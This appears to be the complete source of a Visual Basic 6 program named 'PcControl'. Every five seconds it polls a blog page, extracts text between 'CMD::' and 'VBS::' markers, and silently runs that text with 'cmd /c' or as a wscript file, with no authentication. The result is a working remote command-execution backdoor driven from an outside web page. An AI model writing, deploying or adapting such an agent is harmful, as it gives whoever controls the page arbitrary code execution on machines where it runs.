工程1.vbp
Type=Exe Reference=*\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\..\..\..\WINDOWS\system32\STDOLE2.TLB#OLE Automation Module=modPub; modPub.bas Class=clsCommand; clsCommand.cls Class=clsWaitableTimer; clsWaitableTimer.cls Startup="Sub Main" HelpFile="" Title="PcControl" ExeName32="pccontrol.exe" Command32="" Name="pccontrol" HelpContextID="0" CompatibleMode="0" MajorVer=1 MinorVer=0 RevisionVer=0 AutoIncrementVer=0 ServerSupportFiles=0 VersionCompanyName="SymentalStudio" CompilationType=0 OptimizationType=0 FavorPentiumPro(tm)=0 CodeViewDebugInfo=0 NoAliasing=0 BoundsCheck=0 OverflowCheck=0 FlPointCheck=0 FDIVCheck=0 UnroundedFP=0 StartMode=0 Unattended=0 Retained=0 ThreadPerObject=0 MaxNumberOfThreads=1
modPub.bas
Attribute VB_Name = "modPub" Option Explicit Dim pcc As New clsCommand Dim objTimer As New clsWaitableTimer Sub Main() If App.PrevInstance Then MsgBox "It has been running!", vbExclamation Exit Sub End If pcc.Url = "http://blog.csdn.net/sysdzw/archive/2009/05/19/4200912.aspx" Do pcc.Analysis objTimer.Wait 5000 Loop End Sub
clsCommand.cls
VERSION 1.0 CLASS BEGIN MultiUse = -1 'True Persistable = 0 'NotPersistable DataBindingBehavior = 0 'vbNone DataSourceBehavior = 0 'vbNone MTSTransactionMode = 0 'NotAnMTSObject END Attribute VB_Name = "clsCommand" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = True Attribute VB_PredeclaredId = False Attribute VB_Exposed = False Option Explicit Public Url$ Public CmdArgs$, VbsArgs$ Private strLastCmdArgs$, strLastVbsArgs$ Dim strHtml$ Dim l1&, l2& Dim strAppPath As String Dim strLogFile As String Public Sub Analysis() On Error GoTo err1 strHtml = getHtmlStr(Url) l1 = InStr(strHtml, "CMD::") + Len("CMD::") l2 = InStr(l1, strHtml, "::CMD") CmdArgs = Mid(strHtml, l1, l2 - l1) If strLastCmdArgs = "" Then strLastCmdArgs = CmdArgs ElseIf CmdArgs <> strLastCmdArgs Then Shell "cmd /c " & CmdArgs, 1 strLastCmdArgs = CmdArgs writeToFile strLogFile, Format(Now, "yyyy-mm-dd hh:nn:ss") & " CMD " & CmdArgs, False End If l1 = InStr(strHtml, "VBS::") + Len("VBS::") l2 = InStr(l1, strHtml, "::VBS") VbsArgs = Mid(strHtml, l1, l2 - l1) If strLastVbsArgs = "" Then strLastVbsArgs = VbsArgs ElseIf VbsArgs <> strLastVbsArgs Then writeToFile strAppPath & "tmp.vbs", VbsArgs Shell "wscript """ & strAppPath & "tmp.vbs""" strLastVbsArgs = VbsArgs writeToFile strLogFile, Format(Now, "yyyy-mm-dd hh:nn:ss") & " VBS " & VbsArgs, False End If err1: End Sub Private Function getHtmlStr$(strUrl$) Dim XmlHttp Set XmlHttp = CreateObject("Microsoft.XMLHTTP") XmlHttp.Open "POST", strUrl, False XmlHttp.send getHtmlStr = StrConv(XmlHttp.ResponseBody, vbUnicode) Set XmlHttp = Nothing End Function Private Function writeToFile(ByVal strFileName$, ByVal strContent$, Optional isCover As Boolean = True) As Boolean On Error GoTo err1 Dim fileHandl% fileHandl = FreeFile If isCover Then Open strFileName For Output As #fileHandl Else Open strFileName For Append As #fileHandl End If Print #fileHandl, strContent Close #fileHandl writeToFile = True Exit Function err1: writeToFile = False End Function Private Sub Class_Initialize() strAppPath = App.Path If Right(strAppPath, 1) <> "\" Then strAppPath = strAppPath & "\" strLogFile = strAppPath & "control.log" End Sub
clsWaitableTimer.cls
VERSION 1.0 CLASS BEGIN MultiUse = -1 'True Persistable = 0 'NotPersistable DataBindingBehavior = 0 'vbNone DataSourceBehavior = 0 'vbNone MTSTransactionMode = 0 'NotAnMTSObject END Attribute VB_Name = "clsWaitableTimer" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = True Attribute VB_PredeclaredId = False Attribute VB_Exposed = False Option Explicit Private Type FILETIME dwLowDateTime As Long dwHighDateTime As Long End Type Private Const WAIT_ABANDONED& = &H80& Private Const WAIT_ABANDONED_0& = &H80& Private Const WAIT_FAILED& = -1& Private Const WAIT_IO_COMPLETION& = &HC0& Private Const WAIT_OBJECT_0& = 0 Private Const WAIT_OBJECT_1& = 1 Private Const WAIT_TIMEOUT& = &H102& Private Const INFINITE = &HFFFF Private Const ERROR_ALREADY_EXISTS = 183& Private Const QS_HOTKEY& = &H80 Private Const QS_KEY& = &H1 Private Const QS_MOUSEBUTTON& = &H4 Private Const QS_MOUSEMOVE& = &H2 Private Const QS_PAINT& = &H20 Private Const QS_POSTMESSAGE& = &H8 Private Const QS_SENDMESSAGE& = &H40 Private Const QS_TIMER& = &H10 Private Const QS_MOUSE& = (QS_MOUSEMOVE Or QS_MOUSEBUTTON) Private Const QS_INPUT& = (QS_MOUSE Or QS_KEY) Private Const QS_ALLEVENTS& = (QS_INPUT Or QS_POSTMESSAGE Or QS_TIMER Or QS_PAINT Or QS_HOTKEY) Private Const QS_ALLINPUT& = (QS_SENDMESSAGE Or QS_PAINT Or QS_TIMER Or QS_POSTMESSAGE Or QS_MOUSEBUTTON Or QS_MOUSEMOVE Or QS_HOTKEY Or QS_KEY) Private Const UNITS = 4294967296# Private Const MAX_LONG = -2147483648# Private Declare Function CreateWaitableTimer Lib "kernel32" Alias "CreateWaitableTimerA" (ByVal lpSemaphoreAttributes As Long, ByVal bManualReset As Long, ByVal lpName As String) As Long Private Declare Function OpenWaitableTimer Lib "kernel32" Alias "OpenWaitableTimerA" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal lpName As String) As Long Private Declare Function SetWaitableTimer Lib "kernel32" (ByVal hTimer As Long, lpDueTime As FILETIME, ByVal lPeriod As Long, ByVal pfnCompletionRoutine As Long, ByVal lpArgToCompletionRoutine As Long, ByVal fResume As Long) As Long Private Declare Function CancelWaitableTimer Lib "kernel32" (ByVal hTimer As Long) Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long Private Declare Function MsgWaitForMultipleObjects Lib "user32" (ByVal nCount As Long, pHandles As Long, ByVal fWaitAll As Long, ByVal dwMilliseconds As Long, ByVal dwWakeMask As Long) As Long Private mlTimer As Long Private Sub Class_Terminate() On Error Resume Next If mlTimer <> 0 Then CloseHandle mlTimer End Sub Public Sub Wait(MilliSeconds As Long) On Error GoTo ErrHandler Dim ft As FILETIME Dim lBusy As Long Dim lRet As Long Dim dblDelay As Double Dim dblDelayLow As Double mlTimer = CreateWaitableTimer(0, True, App.EXEName & "Timer" & Format$(Now(), "NNSS")) If Err.LastDllError <> ERROR_ALREADY_EXISTS Then ft.dwLowDateTime = -1 ft.dwHighDateTime = -1 lRet = SetWaitableTimer(mlTimer, ft, 0, 0, 0, 0) End If dblDelay = CDbl(MilliSeconds) * 10000# ft.dwHighDateTime = -CLng(dblDelay / UNITS) - 1 dblDelayLow = -UNITS * (dblDelay / UNITS - Fix(CStr(dblDelay / UNITS))) If dblDelayLow < MAX_LONG Then dblDelayLow = UNITS + dblDelayLow ft.dwLowDateTime = CLng(dblDelayLow) lRet = SetWaitableTimer(mlTimer, ft, 0, 0, 0, False) Do lBusy = MsgWaitForMultipleObjects(1, mlTimer, False, INFINITE, QS_ALLINPUT&) DoEvents Loop Until lBusy = WAIT_OBJECT_0 CloseHandle mlTimer mlTimer = 0 Exit Sub ErrHandler: Err.Raise Err.Number, Err.Source, "[clsWaitableTimer.Wait]" & Err.Description End Sub